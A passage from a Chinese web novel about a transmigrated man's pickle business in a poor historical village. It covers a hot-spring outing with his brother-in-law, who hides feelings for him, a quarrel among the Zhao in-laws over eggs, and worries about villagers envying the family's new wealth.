赵长命跟着送人下山,一路上小心翼翼的,大气都不敢喘,怕被岳母骂没用,连媳妇都护不住。 还受了一路来自于小舅子的白眼,也不敢说什么,只能受着。 到山脚下时,徐有芳才和赵长命说话。 这事也怪不了三姑爷,其实赵家人也怪不了,都是人之常情罢了。 “三姑爷,你要是心里有燕儿,我给你个事。这两天观察一下,看几个妯娌里谁最讨厌燕儿。三天后,带着不讨厌燕儿的妯娌相公下山来。家里有活给他们干。” 不怪她使性子,她也是当娘的,没办法让讨厌她闺女的人还能在她家手里赚钱。 至少现在不能。 这也是人之常情。 后面的话就再看吧。 赵长命傻愣了一下,反应过来是什么意思后,郑重点头。 他也不喜欢骂他媳妇的嫂嫂和弟媳,但他又不能说。 “娘你放心,我一定办好。” 徐有芳见他认真,这才满意点头。 “你到时候也来。” 赵长命如释重负的松口气,露着一排大白牙傻乐,“好的娘!” 第59章 第 59 章 心跳 徐有芳和沈归带着沈燕母子二人到家时, 已经是下午。 凌星跟沈回二人早进山去找草药。 因为身边跟着凌星,沈回这次没有去危险的地方看笼子。 他直接带着人到长有芭蕉叶的地方,凌星感受到这里温度比山下还高,十分温暖, 空气中若有似无飘着硫磺的味道。 “这里有温泉?”凌星四处张望一下, 没看到有水潭,只有树。 沈回砍芭蕉叶, 一刀就是一大片。 “嗯, 离这不远。” 得到确切答复, 凌星眼中升起向往期待。他前世就很想泡一次温泉,不过没条件, 后面有钱了又没时间。 这山是未开发过的野山, 此地蛇也是出了名的多,泡温泉的念头一闪而过,就被他按下。 对凌星小情绪了如指掌的沈回, 把砍下的芭蕉叶堆好。 他把匕首收回,低头问凌星, “哥夫要去泡一泡吗?有一处比较小,水并不深。” 诱惑,赤裸裸的诱惑。 凌星被诱惑到。 他挣扎道:“不了吧,蛇多, 我害怕。也会给你添麻烦。” 沈回没见过这样的凌星, 想要一样东西, 又不好意思, 雀跃又克制的样子,很是可爱。 他低声笑着,“无妨, 并不会觉得麻烦。我带了驱蛇药,也会守在不远处,哥夫不用怕。” 谢青崖做的驱蛇药是真不错,独家秘方厉害的很。 这大半年里,还真有好几次起了作用,替他驱了蛇。 有两次还是毒蛇。 药粉里似乎有蛇极其讨厌的味道,但人不怎么能闻见那个气味。 沈回没多仔细研究,那是人家的秘方。 凌星终究没抵抗住诱惑,开心道:“那我就泡一会叭。” 沈回低头看着他,也跟着笑,“好。” 路上沈回一直在注意着四周的动静,到地方后更是仔细检查了好一会。 这里的硫磺味比起芭蕉叶那更重,但水池子很小,味道也没重到哪里去,能忍受。 水池一眼就能看到底,里面是光滑的石头,能清楚的看见。 沈回在周围撒了驱蛇药,随后转身站在一米开外的地方,背对着池子。 “哥夫洗吧。” 凌星见他动作,嘴边那句“一起泡温泉”生生的咽了下去。心里默念自己现在是个哥儿,拍着脑门让自己记住。 衣物揭开的窸窣声,进入水中的哗啦声,一声一声扣入心扉。 沈回站的笔直,强迫自己听周遭的杂音,却无法心静。 温水包裹住身体,凌星受浮力整个人有种往上飘的感觉。 他觉得有趣,哗哗哗的掀起水波。 “这泡着真舒服,二郎你待会要泡吗?我给你守着。” 沈回顿了好一会才低声回他,“不用。” 凌星觉得有些可惜,又自顾自的泡起来。过了一会后觉得脑袋有些发晕,知道是泡的时间长了,连忙出来穿衣服。 哗啦一声响,沈回摩挲着指腹,跟着水声不自觉的吞咽。 “二郎,我、我好像要晕了……” 沈回闻言急忙转身,见凌星的衣服虽都穿上,但上衣松垮垮的。 泡完澡的凌星脸蛋红润,白里透红,看起来像个鲜美多汁的水蜜桃。 他的发鬓有些湿,贴在脸上,偏红的唇色染着水光,又是另一番诱人颜色。 他把晕乎乎的人及时捞到怀里,这才没让人跌倒在地。 沈回手僵硬的箍着凌星的腰,觉得空气似乎被他身上未干的水汽弄的湿润许多,也因他身上的温度而变的更高。 凌星晕的难受,还有些想吐,很不舒服。 他浑身发软,想躺下。 沈回察觉到后,只好顺势坐在地上,让凌星靠着他。 低哑的嗓音轻声问道:“好些了吗?” 凌星摇摇头没说话,幅度很小,像小猫在轻蹭着胸膛。 沈回被这一下弄的僵滞片刻,鼻息间除了硫磺的味道,还有他一直能在凌星身上闻到的香甜味。 他不敢轻举妄动,只要稍稍一动,他内心肮脏龌龊的心思,就会暴露。 可心爱之人正毫无防备的闭着眼,躺在怀中。信任他,依赖他,又如何能藏得住想要占有的欲望。 沈回面容依旧冷峻,但视线却越发炽热。他低头描摹着凌星的脸,闻着甜味,想将人舔一遍,尝尝看是不是真的很甜。 他在心底一遍遍的叫着凌星的名字。 凌星。 星星。 星星。 心跳随着一遍遍的星星越来越快,咚咚咚的响,似乎要跳出来才肯罢休。 凌星终于缓了过来。 他睁开眼睛,耳边是沈回喑哑的声音,“……哥夫。” 凌星发现沈回心情不好。 自从他泡完温泉回来之后,沈回就突然一下变得很低落,隐约还能感觉到一丝绝望。 凌星不知道沈回发生了什么事,但他很担心。 他想去问问徐有芳,以前在这几天,沈回是不是有很不开心的事情。 沈燕来家里有一天了,她带着孩子和徐有芳睡,沈呈山在堂屋,睡之前沈来睡的门板。 每天晚上支起来,白天竖在门后。 沈燕看到凌星进来,笑着和他打招呼。 “哥夫来啦,快来坐,看我这绒修剪的好不好。” 她已经从徐有芳那知道绒花是凌星出的点子,也知道徐有芳眼睛之前出了问题,才不再绣花钻研起绒花来。 现在绒花生意好,有一批稳定的客源,镇上县里的都有。 每个月靠着绒花能赚不少,攒几个月的银子都能盖房了。 眼红想要方子的也不是没有,托凌星之前硬气的福,怕他又宁愿把方子给县令,让县令整治他们,也不愿意卖,就算是想要,只能都憋着。 除非凌星这边有卖或者是合作的意向。 凌星自然是没有,绒花的生意全凭徐有芳自己做主,他没任何想法。 而徐有芳也不想步子跨太大再闪到腰,想一步一步慢慢来。 沈燕心里感动凌星出了点子还念着她,让徐有芳带她赚钱。 她不由多看了凌星几眼,之前在婚礼上见过,却因种种原因,话也没说一句。 那时匆匆一瞥,只觉得人瘦的很,骨相却美。 如今长了些肉,倒是越发的漂亮了。 沈燕生完孩子后很容易多愁善感,此时抹了抹眼角的泪花。 哥夫这样好,要是大哥在就好了。 凌星正看沈燕手里的绒花,琢磨着怎么夸呢。 刚要开口,就见沈燕盯着他流眼泪,连忙问道:“怎么了?” 徐有芳和曹满月也看了过来,徐有芳见怪不怪,“她没事,马上就好了。星哥儿来有啥事?” 沈燕自己也说没事,凌星这才问:“娘,二郎以前在这几日有发生过什么不高兴的事吗?” 徐有芳奇怪凌星为什么问这个,但也仔细的想了一下,“没有啊,怎么了?” “我发现他情绪有些低落。”凌星如实道。 前面还在哭的沈燕闻言又笑了,“二哥那张脸整天冷冰冰的,哥夫怕是把他冷脸当成不高兴了。” 凌星想说不是,不过又不知道该怎么解释他的感觉,只好作罢。 徐有芳手上做绒花的动作不停,眉头却不由自主的皱起。 前天谢青崖和凌星说想吃凉粉了,凌星今天出完摊子买了绿豆回来,他赶着去做凉粉,没有在西头房多待。 凉粉做好后,给谢青崖送去一半,他神神秘秘的掏出一个小纸包。 “金桔蜜饯,酸甜可口,专门给你留的。” 蜜饯比糖都贵,小纸包里面不过六颗,金桔的香气遮挡不住,闻着叫人忍不住的生津吞咽。 凌星没有推脱,笑着收下,他有好吃的也一样会给谢青崖留。 六颗金桔蜜饯,四个孩子一人一颗,还有两颗。 凌星自己吃一颗,这做的是真的好吃,果肉酸香带着回甘,不会觉得太甜也不会太腻,实在美味。 晚上吃完饭,沈回去屋里时看见床头有一片裁剪好的芭蕉叶。 绿油油的芭蕉叶上,安静的躺着一颗金黄色的东西,边上还有一张纸条。 【不高兴的时候吃点甜的】 纸的背面是凌月画废弃的画,这些纸会专门留着,用另一面练字。 一般都是凌星练,他觉得自己不会一直不写字,干脆就练起来。有原身的肌肉记忆,写字比他想象的要简单不少。 如今字迹已经完全能贴合了。 沈回认得凌星的字,他也知道谢青崖给了凌星六颗金桔蜜饯。 他没想到这六颗里面,有一颗属于他。 把字条折好收藏起来,沈回坐在床边慢慢的品味那颗金桔蜜饯。 酸,甜,让人止不住笑的甜。 沈燕去灶屋烧水,要给几个月大的赵元青洗屁股。走到灶屋门口,发现院子里有个黑影,熊一样高壮。 这大块头好认,沈燕看出人是自家二哥,松一口气。 在看了两眼后,又一脸狐疑的进灶屋。 端着温度适中的水回西头房,徐有芳开始给赵元青脱裤子,嘴里逗着孩子,“哎呀,谁家的乖宝宝要洗屁股啦~” 听不懂话的赵元青只知道裹着大拇指咯咯的笑,奶呼呼的可爱的很。 沈燕看儿子软嫩嫩的乖巧模样,心都化了,狠亲好几口才开始动手洗。 边洗还边笑,“我就说哥夫是把二哥正常冷脸当不高兴了,刚刚去烧水,二哥在院子里边漱口边笑,我还以为听错了。” “要不是认出来人,大晚上突然有人笑,我得吓半死。” 徐有芳抱着赵元青的动作微顿,有些出神,“也不知道什么事能让他会这样高兴。” 沈燕想了一下,给赵元青擦水的手没停,神色一喜压低声音道:“嗳,娘,二哥他这岁数不小了,不会是有心仪之人了吧?” 徐有芳心头一紧,莫名听不得这话。 “这话晦气,快别说。” 沈燕不理解,“二哥有喜欢的人咋就晦气了?” 徐有芳也说不上来,可她直觉事不对。 第60章 第 60 章 选人下山 沈来这两天忙的很, 天蒙蒙亮就要起来习武,带着乌雪去山脚跑,然后练习前一天晚上凌月教他的字。 下午要辨认草药,记住所有的细节, 还要和沈回对打一番, 练招式。 晚上则是要被凌月检查字学的怎么样,过了就学下一个, 没过继续学。 现在家里最闲的只有几个月的赵元青, 每天吃了睡睡了吃, 睁眼不是笑就是吐泡泡。 看到乌雪的时候还会瞪大眼睛,拍着手, 哇哇哇的叫。 因为他听过乌雪汪汪叫, 想学着叫但学成了“哇哇”。 沈燕来了两天,脸上的笑容明显变多了。 家里哥夫,弟妹对她都好, 有点什么好吃好玩的都想着她。 爹娘和哥哥,弟弟们自不必说, 沈燕感觉到了久违的温暖与开心。 在赵家也不是说不好,可除了自己相公外,对谁她都要小心翼翼。 说话做事需要再三斟酌,生怕说错话, 做错事。 她已经很久很久, 没有这样放松过了。 此时山洼村的赵家, 又闹了起来。 刘七花抱着六岁的赵元宝, 坐在地上哭,破旧的衣服上沾染着灰土。 “这日子可要人怎么活啊!我就是想让元宝吃口炖鸡蛋,怎么就这么难啊!” 赵老太冷眼瞧着, “家里野鸡不下蛋,没有鸡蛋。” 什么叫没有鸡蛋?那沈家前两天才送来十个鸡蛋,个头大的很,圆滚滚的,怎么就叫没鸡蛋了! 刘七花心里知道就是婆婆偏心眼不愿意给她家元宝吃,所以才这样说罢了。 “娘你当我是个眼瞎心盲的?灶屋柜子里头锁着的不是鸡蛋是什么?” 不提这个还好,一提这个赵老太就气。 那天几个儿媳里但凡有一个拎得清的,亲家也不可能带闺女和外孙走。 “那鸡蛋是燕儿她娘送来的,有你刘七花什么事?整天嚷嚷着活不下去,倒能一门心思的惦记人家的鸡蛋。” 赵老太话说的没留一点面子,三儿媳本心不坏,就是爱占小便宜,不允许自己吃一点亏。 这些都是小毛病,说起来也算不得什么。 放在之前,赵老太也是睁一只眼闭一只眼,不乐意去计较。 可接连几次收到沈家送来的东西后,赵老太不这么想了。 不是吃人嘴短,拿人手软。 而是沈家送来的那些东西,很不一般。 不说米面多贵,就说包子馒头这些没见过的,没吃过的。 听之前下山的儿子们说,沈家大郎留下的夫郎是个有本事的,在镇上做着小生意。 之前也是因为生意好,遭人嫉妒想要抢方子,这才有了后面上山请他们家出人帮忙看顾的事。 方子这事后面解决了,孩子出生那天亲家公亲家母上山来,问了一嘴听说是衙门解决的。 赵老太当时就觉得大郎留下的那个夫郎不一般,常人可没他这胆量。 这样的人,做什么不会成事? 而沈家接二连三送上来的吃食,也印证了赵老太的想法。 沈家要起来了。 这次别看送的东西少,只有鸡蛋和腌菜。 但鸡蛋也是好东西啊,村户人家哪里舍得吃,全都拿去卖钱。就算是走亲戚,也很少会带鸡蛋的。 还有腌菜,那陶罐子打开一闻味道就不一般,和家里只撒了粗盐粒腌制的完全不一样。 闻着可香了,看着也很不错,都舍不得吃,寻思留着冬天吃。 赵老太心里也没奢望会被沈家拉一把,但无论如何,不能和人交恶。 家里几个媳妇,都不是什么坏心肠,就是大毛病没有小毛病不断。 说白了是小家子气,看事都只能看到眼前,没远见。 以前能放任,如今却不能。 沈家有足够的实力庇护沈燕,若是后面沈燕直接住在娘家不回来,他们赵家也没办法。 沈家不比其他几个儿媳的娘家,都盼着家里少张嘴吃饭。 那沈家是真的能干出,把出嫁闺女留家里继续养着的事。 赵老太到底是想家里能长远的走下去,以往不在意的鸡毛蒜皮,今天不仅在意起来,甚至十分严肃。 刘七花都没想到赵老太会那样直白的说,一家子人都看着她,面皮臊的通红。 “快起来,别闹了。” 赵长远顶着他爹责备的视线,去拉刘七花起来。 本就因大家都盯着她看,刘七花心里很不舒服,在触及到自己相公嫌弃的眼神时,她突然一甩手,“你在怪我?你凭什么怪我?我这样不要脸面为的还不是你儿子!” 赵长远手臂被甩一掌,疼的龇牙。 “你好好的发什么疯!” “我发疯?对!我疯了!嫁到你家来,我吃过几顿饱饭?穿过几次新衣?你当初娶我的时候甜言蜜语,说让我吃饱穿暖。如今呢?如今你做不到,你还嫌弃我!” “这个家谁都能嫌弃我,就你赵长远不行!我省吃俭用,还拼了命的给你生了三个孩子,你凭什么嫌弃我!” 刘七花哭的伤心,带着怀里的赵元宝一起哭。 赵长远听着哭嚎不止的声音,看着瘦弱的妻儿,又见家人的视线都向他,似乎在责怪他,又似乎什么情绪也没有。 他这些天心里也难熬的很,爹娘要他给个说法,可他真的给不了。 他媳妇就是想要一颗鸡蛋。 没办法让媳妇不要鸡蛋,也没办法让爹娘给鸡蛋。 赵长远左右为难,在妻儿的哭声中,他狠狠的扇了自己一巴掌,低吼道:“是,我没用!我赚不到钱,养不了家。腿被咬了,还是靠嫁出去的大哥儿接济才保全。可我这辈子就这样了,我只能做到这样了!” 他不想让妻儿老小吃饱穿暖吗?他不想和沈家人一样,给嫁出去的哥儿撑腰吗? 他的元树为了拿钱回来给他看腿,被那畜生打的鼻青脸肿,他空有一个大块头,却只能眼睁睁看着。 拿人手短,他有什么脸去给姑爷立规矩? 赵长远无声的哭着,挺直的背脊也弯了下来,因长期劳累,三十几的年纪,两鬓间已经掺杂着些许白发。 刘七花从未见过自家男人掉过眼泪,他就连腿被咬的血肉模糊,都没吭过一声。 她愣了一下,收住了哭嚎声,可眼泪流的更凶更猛。 她也心疼男人,每天起早贪黑,不要命的往山林里面钻,就是想能多刨点食出来。 可就像男人说的,就这样了,这辈子就这样了。 就只能做到饿不死,解决基本的温饱。 赵家二老也无声的落泪。 山里的日子不好过,没赚钱的地方,地里粮食种的不够交税的。 赵老太抹着眼泪,浑浊的眼睛看向清澈的天空。老天爷啊,你可要人怎么活! “三哥,你明天和我下山去。我丈母娘说给咱们找了活干。” 赵长命的声音在抽泣声中突兀响起。 赵家二老反应迅速,赵老爷子声音都发颤,“五郎啊,你这啥意思呐?” 赵长命没隐瞒,“丈母娘那天下山就说家里有活干,要我三天后带着几个兄弟下山去帮忙。” 沈家送来的吃食都是好东西,加上赵家人都知道沈家守寡的夫郎,在镇子上有生意。 因此,赵家人没有怀疑赵长命的话,眼里全都闪着光。 有钱赚!有活路! 大嫂周玉笑容和善,语气里是藏不住压不下的激动,“五弟,你刚刚说带几个兄弟,是带多少个啊?你丈母娘说了没?” 是啊,带多少个啊? 赵家人的视线全都落在赵长命身上,这是他们最关心的问题。 赵长命低着头,“我打算带三哥,七弟,九弟去。” 赵老太生了九个孩子,夭折了两个。 一共七个儿子,一个女儿,一个哥儿。 也正是这样的人丁兴旺,赵家无人敢欺。 却也够穷。 要不是儿子们能打猎,日子早就过不下去了。 听到赵长命的话,老大赵长久和老三赵长远是最懵的。 赵长久没想到会没有他,赵长远则是没想到竟然会带他。 毕竟他媳妇对五弟妹又吼又叫的,这两天还一直盯着人家的鸡蛋,想尽办法想吃。 说难听一点,五弟妹就是被他媳妇逼回娘家去的。 “五弟啊,你点错了吧?”赵长远疑惑的问道。 赵长久闻言,神色凝重的看向赵长命,等着他回答。 刘七花从狂喜中回神,拉着赵长远往后站,自己往前去,破涕为笑看着赵长命。 “哎呀五弟别听你三哥胡说啊,他脑袋哭晕了,没缓过神呢。” 赵长命笑了笑。 他听着丈母娘的话在家里悄悄的观察了两天。 一开始的时候,他也以为三嫂人不行,讨厌他媳妇。 仔细观察注意才发现,大嫂和六弟妹,八弟妹总在她面前嚼舌根。 说元宝也小,却没好待遇,说替三嫂委屈,从没得过娘的青睐。 这些话没一句说沈燕不是,可叫人听着心里就是不舒服。 三嫂脾气大性子直,从来不会拐弯。 话听多了心里一直记着,就一门心思的想证明,她儿子能有好待遇,她在娘的心里有地位。 在三嫂看来,能证明的方法就是鸡蛋。 所以她就要一个鸡蛋,盯着鸡蛋,要讨一份属于她的偏爱。 也给儿子讨口吃的。 大嫂看着和顺,对谁都是笑脸,从不见她发脾气。 赵长命以前也觉得大嫂最好,三嫂最不喜欢。 可他发现,大嫂才是挑起争端的那个。 三言两语,就可以让妯娌们心里不平,然后不知不觉的做了她的冲锋军,替她去打仗。 这次三嫂就是被大嫂选出来,针对他媳妇的冲锋军。 大嫂其实很介意多出来的那颗野鸡蛋,娘不是给她。 至于那两个弟妹,有被大嫂挑唆的原因,但更多的也是她们自己心里不平。 赵长命短短两天,就偷听到三次她们两凑一起讲他媳妇坏话。 刘七花话音落下没多久,两个弟妹也着急的询问。 “五哥,怎么不带我家长团去啊?他也是你六弟啊。” 老八的媳妇也急了,“长平呢?长平咋也不带?” 赵长命不打算隐瞒原因,也瞒不住,大方说出来还省的他们背后把人想的更坏。 不过不能说他丈母娘。 他掰着手指头数。 “我这两天抓到大嫂挑拨我媳妇和三嫂关系四次,六弟妹和八弟妹凑一起骂我媳妇三次,所以我不带大哥,六弟和八弟去。” 赵家人了然。 原来带谁去不带谁去,是这么个原因。 “什么叫抓……”周玉脸红了大半,人都慌了,“不是,五弟啊,你误会了吧,大嫂怎么会是这样的人呢?” 刘七花那根直脑筋在能赚钱面前,终于灵光了一下。 “大嫂你今天才和我说你家里要是送鸡蛋来,肯定会直接分给我们吃,不会先跟着娘家人走的。” 周玉没控制住瞪了刘七花一眼。 从来没见大嫂如此凶表情的刘七花,一下子被吓住了,呆了好一会。 赵家二老站边上看着没吭声。 赵长命又竖起一根手指头,认真更正,“大嫂挑拨五次。” 周玉要疯了,恨不得给这两木头一人一巴掌。 两个弟妹火候不到家,被抓包后心虚的很,不敢再开口辩解。 她们说怎么这两天说小话时,总觉得有什么东西看她们。 以为是错觉,没想到会是五哥。 也不知道人趴哪偷听的…… 赵长团和赵长圆知道下山赚钱无望,心里失落的不行。 可也没办法,谁叫他们媳妇说五嫂坏话呢。 两妯娌更是万万没想到,会因为她们背后说人这事,害的各自相公没活干。 说不后悔是假,只恨不得回到之前,死死捂住她们自己那要闯祸的嘴。 晚上的时候,周玉不死心还去找了赵老太。 想让她和赵长命说说,带上赵长久。 毕竟是家里老大,赚钱的活他被留在家里,周玉心里咽不下这口气。 赵老太看的门清,这肯定是亲家母的意思,她才不会在这时候触眉头。 而且大儿媳确实也要吃点亏才能长记性。 “我是不会说的,没脸开这个口。” 一边挑拨人家关系,一边又要到人娘家赚钱,谁有那么厚的脸皮去说? 周玉见赵老太铁了心不去,五弟也是记上她,不愿意松口。 她在屋里哭了一会,也只能放弃。 第二天,赵长命带着几个兄弟下山去。 一时间赵家有人欢喜有人愁。 赵家人到沈家的时候,都快下午了。 沈家刚吃完午饭不久,沈归不知道赵家人什么时候到,正琢磨着要不要先去村子里收菜。 乌雪闻到陌生人气味,大老远的就叫起来。 沈归从屋里出来,看着远处来人,打头的像他三姐夫。 他摸摸乌雪的脑袋,“乖乌雪,是认识的人。” 乌雪像是听懂了话,立马不叫唤了。 给沈归稀奇了好一会,抱着狗子揉来揉去,惊喜的夸道:“乌雪,你都快赶上我聪明了!真是好狗!”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m【m.o.xiexs】 60-70 第61章 第 61 章 担忧 赵家兄弟四个没带多少东西, 也没什么东西带。 听说要干活,倒是把家里比较好的农具给拿下山了。 说是比较好,实际上也破旧的很。不过是与家里其他的比,豁口的镰刀, 有破洞的铁锹已经是最好的。 赵家儿郎们都生的人高马大, 手里还都拿着农具,瞧着压迫感十足。 乌雪被沈归按着, 喉咙里依旧发出咕噜声警告示威。 赵长命被沈归盯的浑身发毛, 没话找话的看着乌雪笑, “这狗养的真好,知道护主。” 沈归呵呵一声, 颇有些皮笑肉不笑的意思。 赵长命笑意僵在脸上, 总觉得小舅子想放狗咬他。 “三姐在堂屋,你来第一时间不去看媳妇孩子,在这逗狗?” 得, 现在小舅子连姐夫也不喊了。 赵长命怕惹沈归更不快,反应堪称迅速, 嗖的一下蹿出去,“我这就去。” “这还差不多。” 沈归嘀咕一句后,又转头看赵长远,赵长平和赵长安三人。 沈归扫一眼赵长远, 心里记着刘七花那天为了沈燕吃一颗鸡蛋在家闹的事。 他有什么都挂在脸上, 明显记仇不高兴呢。 赵长远比沈归高大半个头, 年纪也比他大十好几岁, 这会却有些不好意思,不敢多看沈归一眼。 怕沈归再把他撵走,不叫他干活。 之前因为云霞酒楼掌柜逼迫凌星交出发酵方子的时候, 赵长平和赵长安跟着赵长命来沈家镇过场子。 沈归恩怨分明的很,全摆脸上。 对他二人就是嘻嘻,对赵长远就是不嘻嘻。 赵长平和赵长安兄弟二人被特殊对待,心里又高兴又心慌的。 高兴沈家人看重他们,心慌会被哥哥们揍。 赵长命进屋见完妻儿就被沈燕赶出去,让他跟着沈归好好干,别在屋里耽误时间。 家里的腌菜生意她这几天也了解了一些,越是了解就越发觉得大哥夫厉害。 他们家是真的靠着大哥夫,把日子过起来了。 赵长命出来后,沈归就和赵家兄弟四人说起后面的打算。 他二哥说了,要收菜的话,现在收最好。 沈归琢磨了一下觉得有道理,这会家家户户还有新鲜下来的萝卜和白菜,再晚点的话,他们自己就给腌了。 就算腌的不多,那他比起现在,也会少收一些不是。 时间不等人,菜也不等人。沈归本来都想着他今天自己先去收了,赵家人来的真及时。 他对赵家兄弟道:“今天其他的不做,就收菜。” 沈归估摸着光村子里的菜可能还不够,还要去周围村子里收。 这样才能保证有足够的量。 乡下治安不好,赵家兄弟壮实不说,都有些拳脚功夫,不然也没法打猎。 正好有他们去收菜,也不怕被人盯上抢钱抢菜。 都不够赵家兄弟收拾的。 “收菜的时候两人一组,千万别一个人单独行动。”沈归强调道。 一个人的话,更容易被盯上。 对方要是人数上碾压,再壮实也没用。 沈归在这些事上比较小心,赵家兄弟也明白道理,都认真点头。 出去收菜,沈归也要跟着。 走到谢青崖家的时候,还朝着里面张望一眼,看到凌星和谢青崖磨豆子,沈来带着小春小夏在院子里认草药。 沈归打了声招呼。 “哥夫,赵家人来了,我带着他们进村收菜。二哥和阿月呢?怎么不见他们?” 凌星闻言转头看半开的门外,沈归后面站着四个大汉,正对着他礼貌微笑。 或许是不怎么笑的缘故,老远都能看出他们嘴角在抽搐。 凌星先和赵家兄弟打招呼,最后才回沈归的问题,“你二哥和阿月在屋里跟着王七哥看书呢。” 沈归点头,“哦,那我走啦,要跑好几个村子。” 人走后,谢青崖问凌星。 “你那腌菜生意,真打算做大啊?” 凌星点头。 “四弟有拼劲,能做大就做吧。” 谢青崖有些担忧的提醒,“星哥儿,你的生意之前都没在村里做,甚至连各村的小集会也没去过,村子里不知道你的生意有多好。” 镇上远,小柳村的村民也不常去。就算是去,也都是去固定的地方,买寻常要用,但其他地方又买不着的。 基本上不会闲逛,也就没人晓得沈家的生意到底是什么样的光景。 “我是怕村子里人知道你做生意赚钱,沈家有钱,心里会有想法。” 不怕人穷,就怕人富。 本来大家都穷的上顿不接下顿的,没有最穷只有更穷。 结果突然有一家富起来,还是根基最不稳的沈家,多少会有人心里不平衡,恐生事端。 这些人,就是隐患。 凌星知道会有这样的人存在,可他也不能藏一辈子。 再说家里要盖房,已经找村长帮忙找人,都说差不多,就等着过两天吉日到,推房打地基了。 这么大动静,想瞒也瞒不住啊。 谢青崖又突然严肃道:“千万记住,要是有人问你借钱,万万不能借。” 谢青崖的担忧不无道理,凌星前世是在村子里长大,这些事都经历过。 前世隔壁村子就有家人,本来很穷是有名的低保户,靠着全村的接济过活。 后来听说在外的儿子中了彩票,回来给残疾的爸妈盖大房子,上下两层,气派的很。 村子里没人不羡慕,也都猜这人中了多少钱。 有传几十万,有传几百万,还有传上千万的。 这家人的门槛都快被踏破,不是为了恭喜,而是为了借钱。 谁都想从里面分一点,以各种理由。 毕竟要在村子里生活,前面借了。 然后就再没消停过。 后来这家人大概反应过来这就是个无底洞,毕竟谁家不缺钱呢? 于是就不再往外借钱。 结果就是这家人的房子被泼粪,车子轮胎被扎,庄稼地被毁,他家的人走村子里的路,还要被另外收钱…… 不仅如此,埋着这家人祖宗的坟,都被刨了。 世世代代住的地方,想要离开都难。 是中彩票不假,可也不够一大家子所有人离开祖地,前往陌生的地方生存。 可不管那人怎么说,都没人相信他没钱了。 这家人在村子里撑了一年撑不下去,还是离开了村子,没人知道去了哪。 只知道又过两年,有人悄悄回来,把祖坟迁走了。 凌星听过见过的远不止这一个。 他最开始不在村子里做生意,大部分原因是卖不出价,也有小部分原因是怕有心人算他的帐。 被村子里人知道家里有大量银子,可不是好事。 要是利益熏心的纠集在一起要来偷银子的话,沈家一家子,只有沈回一个能打,很难安全脱身。 从一开始,凌星就在有意防备。 知道谢青崖真的替他担心着想,出声安慰道:“没事,盖房子前,我会让爹和村长透露,我与县令能说上话。我也肯定不会借给村人银子的,但你除外。” 他每天摆摊忙的要命,和村里人又没交情。 但谢青崖不一样,谢青崖是他来这里的第一个朋友,还总是想着他,记着他,对他好。 所以谢青崖要借银子,只要他有,借多少他都借。 脱口而出的话最见真心,一句“但你除外”是明晃晃的特殊对待,是与旁人区分开的。 谢青崖眼眶刷一下就红了,一米八的大高个抱着凌星高兴的转了两个圈。 “星哥儿,我这辈子有你这个朋友,死都瞑目了。” 凌星笑着拍谢青崖的背,“那我也是。” 知道凌星有应对,谢青崖就放心了。 而且凌星还不是夸大,人确实能和县令大人说上话。 这样一来,村长肯定会帮沈家的。 有村长相帮,就不会有大问题。 二人的谈话也被屋里看书的人听见。 沈回见凌月有些分心,便出声道:“不必担心。村里人不敢怎样。” 凌月转头看来,“人为利益,可杀人。” 他经历过族人被抢粮食后杀害,也经历过逃难饥荒,期间见过太多人性黑暗,甚至他自己都亲身的体验过…… “那看如何用这个‘利’。” 出声的是王隽。 天气见冷,他身上衣服比起沈回和凌月更厚,手却依旧很冷。 面容也苍白不少,不过精神头很不错。 同凌月说话时,语调很轻松。 “它是双刃剑,有人为它杀人,但也有人会为它救人。” “你哥哥很聪明,沈归也会做生意。他在做大的时候,选择从村子里收菜,这意味着村民能从你们这里赚到钱。” “为了钱,为了利,大部分人都不会再走极端。” 凌月恍然,他接话补充,“再加上县令大人面前能说上话的威慑,还有村长的照看,家里不会有危险!” 见凌月反应如此快,王隽不由一笑,“自然。” 不仅不会有危险,怕是还会得到不少人的拥护。 买一户的菜钱,对现在的沈家来说或许只是小钱。 但对村民来说,就是能过冬的救命钱。 沈家人这个时节里选择收菜,很妙。 既能保证收到足够的菜量,也能让村民赚更多的钱,为过冬多添一份保障,不管怎样总有人会记着沈家的好。 沈归带着赵家兄弟几人到一破旧篱笆院前停下。 他暂时没让赵家几人分开,先带着他们过几家,熟悉熟悉再说。 篱笆院里有三个孩子,都光着身子,蹲在地上挫泥丸子,冷的时不时抖几下。 孩子们的头发枯黄毛躁,却还算干净,没有虱子跳来跳去。 沈归几人靠近,才发现孩子们嘴巴边有干了的泥灰,一个四五岁大的,正把挫的歪歪扭扭的泥团子往嘴里送。 小柳村是由一群逃荒来组成的杂姓大村,也是远近闻名的穷村。 近百年的发展,没有发展出小柳村的底蕴,反而是越来越穷。 没别的,人心不齐是一回事,没根基是最根本的原因。 和那些大姓,有宗族的村子完全不能比。 富的只有三两家,穷才是常态。 一家人,人人都有衣服穿的少。一家人,只有两三件衣服穿的并不少。 第62章 第 62 章 收菜 陈翠花生有五个孩子, 大儿今年十八还没娶上媳妇,就连夫郎都说不上。 家里穷,没人愿意嫁过来。 老二是个闺女,倒是在去年说了人家。 不过亲家不太好相与, 逢年过节的也不准闺女回来, 怕闺女接济娘家。 一整年了,她连闺女一面都没见上。 中间怀过孩子, 都没保住。要么是在肚子里流了, 要么是生出来夭折了。 现在老三六岁, 老四四岁,老五两岁。 孩子都还小, 陈翠花怕养不活, 自己不敢多吃一口,都省给孩子吃。 即便是这样,孩子也吃不饱饭。 家里能干活的少, 就三人。人头税交的却多,手里没钱, 粮食也不敢多吃。 怕冬天不够吃,活不下去。 陈翠花已经好几天没吃什么东西,在屋里给孩子们缝衣服的时候,突然眼前一黑晕了过去。 三个孩子饿的不行, 在外面挫泥丸吃, 都不晓得他们娘亲晕了。 “陈婶子在家吗?” 沈归在外面喊了好几声没听到回答。 他低头问六岁的王柱子, “你确定你娘在屋里头?咋不应声啊?” 王柱子手里还捏着泥丸子, 光溜溜的屁股后面,是两个弟弟妹妹,紧紧贴着他。 孩子们被赵家兄弟的大块头吓坏了, 都不敢出声不敢动,全在瑟瑟发抖,也不知道是吓的还是冷的。 王柱子紧张的喊道:“娘!” 突如其来的尖叫声穿透耳膜,沈归不适的捂一下耳朵。 “哎别叫,你去屋里喊你娘出来。” 王柱子一愣,原来允许他们动啊。 反应过来后,就带着两个弟妹跌跌撞撞的跑进屋里。 泥房子里光线昏暗,屋里头没什么家具,空荡的很,孩子们闭着眼睛走都不怕被撞到。 王柱子看他娘趴在床上一动不动,还以为人睡着了,抬手就摇。 “娘!娘!外头有人找!好多人,我怕。” 